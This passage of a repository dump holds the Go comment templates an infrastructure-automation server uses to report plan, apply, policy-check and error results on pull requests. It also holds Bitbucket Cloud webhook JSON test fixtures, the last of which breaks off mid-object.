{{ $disableApplyAll := .DisableApplyAll -}} {{ $hideUnchangedPlans := .HideUnchangedPlanComments -}} {{ $quietPolicyChecks := .QuietPolicyChecks -}} {{ range $i, $result := .Results -}} {{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}} {{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ if ne $disableApplyAll true -}} --- {{ end -}} {{ end -}} {{ if ne .DisableApplyAll true -}} {{ if and (gt (len .Results) 0) (not .PlansDeleted) -}} * :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} unlock ``` {{ end -}} {{ end -}} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_policy_unsuccessful.tmpl ================================================ {{ define "multiProjectPolicyUnsuccessful" -}} {{ template "multiProjectHeader" . -}} {{ $disableApplyAll := .DisableApplyAll -}} {{ $quietPolicyChecks := .QuietPolicyChecks -}} {{ range $i, $result := .Results -}} {{ if (and $quietPolicyChecks $result.IsSuccessful) }}{{continue}}{{end -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ if ne $disableApplyAll true -}} --- {{ end -}} {{ end -}} {{ if ne .DisableApplyAll true -}} {{ if and (gt (len .Results) 0) (not .PlansDeleted) -}} * :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell {{ .ExecutableName }} plan ``` {{ end -}} {{ end -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_state_rm.tmpl ================================================ {{ define "multiProjectStateRm" -}} {{ template "multiProjectHeader" . -}} {{ range $i, $result := .Results -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered}} --- {{ end -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_version.tmpl ================================================ {{ define "multiProjectVersion" -}} {{ template "multiProjectHeader" . -}} {{ range $i, $result := .Results -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered}} --- {{ end -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/plan_success_unwrapped.tmpl ================================================ {{ define "planSuccessUnwrapped" -}} ```diff {{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }} ``` {{ if .PlanWasDeleted -}} This plan was not saved because one or more projects failed and automerge requires all plans pass. {{ else -}} {{ if not .DisableApply -}} * :arrow_forward: To **apply** this plan, comment: ```shell {{ .ApplyCmd }} ``` {{ end -}} {{ if not .DisableRepoLocking -}} * :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) {{ end -}} * :repeat: To **plan** this project again, comment: ```shell {{ .RePlanCmd }} ``` {{ end -}} {{ template "mergedAgain" . -}} {{ end -}} ================================================ FILE: server/events/templates/plan_success_wrapped.tmpl ================================================ {{ define "planSuccessWrapped" -}}
Show Output ```diff {{ if .EnableDiffMarkdownFormat }}{{ .DiffMarkdownFormattedTerraformOutput }}{{ else }}{{ .TerraformOutput }}{{ end }} ```
{{ if .PlanWasDeleted -}} This plan was not saved because one or more projects failed and automerge requires all plans pass. {{ else -}} {{ if not .DisableApply -}} * :arrow_forward: To **apply** this plan, comment: ```shell {{ .ApplyCmd }} ``` {{ end -}} {{ if not .DisableRepoLocking -}} * :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) {{ end -}} * :repeat: To **plan** this project again, comment: ```shell {{ .RePlanCmd }} ``` {{ end -}} {{ .PlanSummary }} {{ template "mergedAgain" . -}} {{ end -}} ================================================ FILE: server/events/templates/policy_check.tmpl ================================================ {{ define "policyCheck" -}} {{ $policy_sets := . }} {{ range $ps, $policy_sets }} #### Policy Set: `{{ $ps.PolicySetName }}` ```diff {{ $ps.PolicyOutput }} ``` {{ end }} {{ end }} ================================================ FILE: server/events/templates/policy_check_results_unwrapped.tmpl ================================================ {{ define "policyCheckResultsUnwrapped" -}} {{- if eq .Command "Policy Check" }} {{- if ne .PreConftestOutput "" }} ```diff {{ .PreConftestOutput }} ``` {{- end -}} {{ template "policyCheck" .PolicySetResults }} {{- if ne .PostConftestOutput "" }} ```diff {{ .PostConftestOutput }} ``` {{ end -}} {{- end }} {{- if .PolicyCleared }} * :arrow_forward: To **apply** this plan, comment: ```shell {{ .ApplyCmd }} ``` {{- else }} #### Policy Approval Status: ``` {{ .PolicyApprovalSummary }} ``` * :heavy_check_mark: To **approve** this project, comment: ```shell {{ .ApprovePoliciesCmd }} ``` {{- end }} * :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) * :repeat: To re-run policies **plan** this project again by commenting: ```shell {{ .RePlanCmd }} ``` {{ end -}} ================================================ FILE: server/events/templates/policy_check_results_wrapped.tmpl ================================================ {{ define "policyCheckResultsWrapped" -}}
Show Output {{- if eq .Command "Policy Check" }} {{- if ne .PreConftestOutput "" }} ```diff {{ .PreConftestOutput }} ``` {{- end -}} {{ template "policyCheck" .PolicySetResults }} {{- if ne .PostConftestOutput "" }} ```diff {{ .PostConftestOutput }} ``` {{ end -}} {{- end }} {{- if .PolicyCleared }} * :arrow_forward: To **apply** this plan, comment: ```shell {{ .ApplyCmd }} ``` {{- else }}
#### Policy Approval Status: ``` {{ .PolicyApprovalSummary }} ``` * :heavy_check_mark: To **approve** this project, comment: ```shell {{ .ApprovePoliciesCmd }} ``` {{- end }} * :put_litter_in_its_place: To **delete** this plan and lock, click [here]({{ .LockURL }}) * :repeat: To re-run policies **plan** this project again by commenting: ```shell {{ .RePlanCmd }} ``` {{- if eq .Command "Policy Check" }} {{- if ne .PolicyCheckSummary "" }} ``` {{ .PolicyCheckSummary }} ``` {{- end }} {{- end }} {{ end -}} ================================================ FILE: server/events/templates/single_project_apply.tmpl ================================================ {{ define "singleProjectApply" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_import_success.tmpl ================================================ {{ define "singleProjectImport" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_plan_success.tmpl ================================================ {{ define "singleProjectPlanSuccess" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ if ne .DisableApplyAll true }} --- * :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} unlock ``` {{ end -}} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_plan_unsuccessful.tmpl ================================================ {{ define "singleProjectPlanUnsuccessful" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_policy_unsuccessful.tmpl ================================================ {{ define "singleProjectPolicyUnsuccessful" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{ if ne .DisableApplyAll true -}} --- * :heavy_check_mark: To **approve** all unapplied plans from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell {{ .ExecutableName }} plan ``` {{ end -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_state_rm_success.tmpl ================================================ {{ define "singleProjectStateRm" -}} {{$result := index .Results 0}}Ran {{.Command}} `{{.SubCommand}}` for {{ if $result.ProjectName }}project: `{{$result.ProjectName}}` {{ end }}dir: `{{$result.RepoRelDir}}` workspace: `{{$result.Workspace}}` {{$result.Rendered}} {{ template "log" . }} {{ end }} ================================================ FILE: server/events/templates/single_project_version_success.tmpl ================================================ {{ define "singleProjectVersionSuccess" -}} {{ $result := index .Results 0 -}} Ran {{ .Command }} for {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/single_project_version_unsuccessful.tmpl ================================================ {{ define "singleProjectVersionUnsuccessful" -}} {{ template "singleProjectPlanUnsuccessful" . }} {{ end -}} ================================================ FILE: server/events/templates/state_rm_success_unwrapped.tmpl ================================================ {{ define "stateRmSuccessUnwrapped" -}} ```diff {{ .Output }} ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell {{.RePlanCmd}} ``` {{ end }} ================================================ FILE: server/events/templates/state_rm_success_wrapped.tmpl ================================================ {{ define "stateRmSuccessWrapped" -}}
Show Output ```diff {{ .Output }} ```
:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell {{.RePlanCmd}} ``` {{ end }} ================================================ FILE: server/events/templates/unwrapped_err.tmpl ================================================ {{ define "unwrappedErr" -}} **{{ .Command }} Error** ``` {{ .Error }} ``` {{ if ne .RenderedContext "" -}} {{ .RenderedContext }} {{ end -}} {{ end -}} ================================================ FILE: server/events/templates/unwrapped_err_with_log.tmpl ================================================ {{ define "unwrappedErrWithLog" -}} {{ template "unwrappedErr" . }} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/version_unwrapped_success.tmpl ================================================ {{ define "versionUnwrappedSuccess" -}} ``` {{ .Output }} ``` {{ end }} ================================================ FILE: server/events/templates/version_wrapped_success.tmpl ================================================ {{ define "versionWrappedSuccess" -}}
Show Output {{ template "versionUnwrappedSuccess" . }}
{{ end -}} ================================================ FILE: server/events/templates/wrapped_err.tmpl ================================================ {{ define "wrappedErr" -}} **{{ .Command }} Error**
Show Output ``` {{ .Error }} ``` {{- if ne .RenderedContext "" }} {{ .RenderedContext }} {{- end }}
{{ end -}} ================================================ FILE: server/events/testdata/bitbucket-cloud-comment-event.json ================================================ { "comment": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/comments/70506195" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/2/_/diff#comment-70506195" } }, "deleted": false, "pullrequest": { "type": "pullrequest", "id": 2, "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/2" } }, "title": "main.tf edited online with Bitbucket" }, "content": { "raw": "my comment", "markup": "markdown", "html": "my comment", "type": "rendered" }, "created_on": "2018-07-19T19:51:50.607374+00:00", "user": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "updated_on": "2018-07-19T19:51:50.615436+00:00", "type": "pullrequest_comment", "id": 70506195 }, "pullrequest": { "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/2" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/2/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 2, "destination": { "commit": { "hash": "1ed8205eec00", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1ed8205eec00" } } }, "branch": { "name": "main" }, "repository": { "full_name": "lkysow/atlantis-example", "type": "repository", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } }, "comment_count": 10, "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "e0624da46d3a", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example/commit/e0624da46d3a" } } }, "branch": { "name": "lkysow/maintf-edited-online-with-bitbucket-1532029690581" }, "repository": { "full_name": "lkysow-fork/atlantis-example", "type": "repository", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow-fork/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } }, "state": "MERGED", "author": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "created_on": "2018-07-19T19:48:14.228611+00:00", "participants": [ { "type": "participant", "user": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "role": "PARTICIPANT", "approved": true, "participated_on": "2018-07-19T19:51:24.190902+00:00" } ], "reason": "", "updated_on": "2018-07-19T19:51:50.705732+00:00", "merge_commit": { "hash": "c21506eeea5f", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c21506eeea5f" } } }, "closed_by": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "task_count": 0 }, "actor": { "nickname": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "repository": { "scm": "git", "website": "", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "full_name": "lkysow/atlantis-example", "owner": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/lkysow" }, "html": { "href": "https://bitbucket.org/lkysow/" }, "avatar": { "href": "https://bitbucket.org/account/lkysow/avatar/" } }, "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "type": "repository", "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } } ================================================ FILE: server/events/testdata/bitbucket-cloud-pull-event-created.json ================================================ { "pullrequest": { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/16" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 16, "destination": { "commit": { "hash": "1d1f6d3216f1", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-06-13T13:37:58.036928+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "1e69a602caef", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example/commit/1e69a602caef" }, "html": { "href": "https://bitbucket.org/lkysow-fork/atlantis-example/commits/1e69a602caef" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow-fork/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow-fork/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow-fork/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "Luke/maintf-edited-online-with-bitbucket-1560433073473" } }, "comment_count": 0, "state": "OPEN", "task_count": 0, "participants": [], "reason": "", "updated_on": "2019-06-13T13:37:58.128400+00:00", "author": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "merge_commit": null, "closed_by": null }, "repository": { "scm": "git", "website": "", "name": "atlantis-example", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "full_name": "lkysow/atlantis-example", "owner": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "type": "repository", "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "actor": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" } } ================================================ FILE: server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json ================================================ { "pullrequest": { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/16" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/16/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 16, "destination": { "commit": { "hash": "1d1f6d3216f1", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1d1f6d3216f1" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/1d1f6d3216f1" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-06-13T13:37:58.036928+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "1e69a602caef", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/1e69a602caef" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/1e69a602caef" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "Luke/maintf-edited-online-with-bitbucket-1560433073473" } }, "comment_count": 0, "state": "MERGED", "task_count": 0, "participants": [], "reason": "", "updated_on": "2019-06-13T13:38:38.142188+00:00", "author": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" }, "merge_commit": { "hash": "981c4a02003b", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/981c4a02003b" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/981c4a02003b" } } }, "closed_by": { "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}" } }, "repository": { "scm": "git", "website": "", "name": "atlantis-example", "links": { "self": { 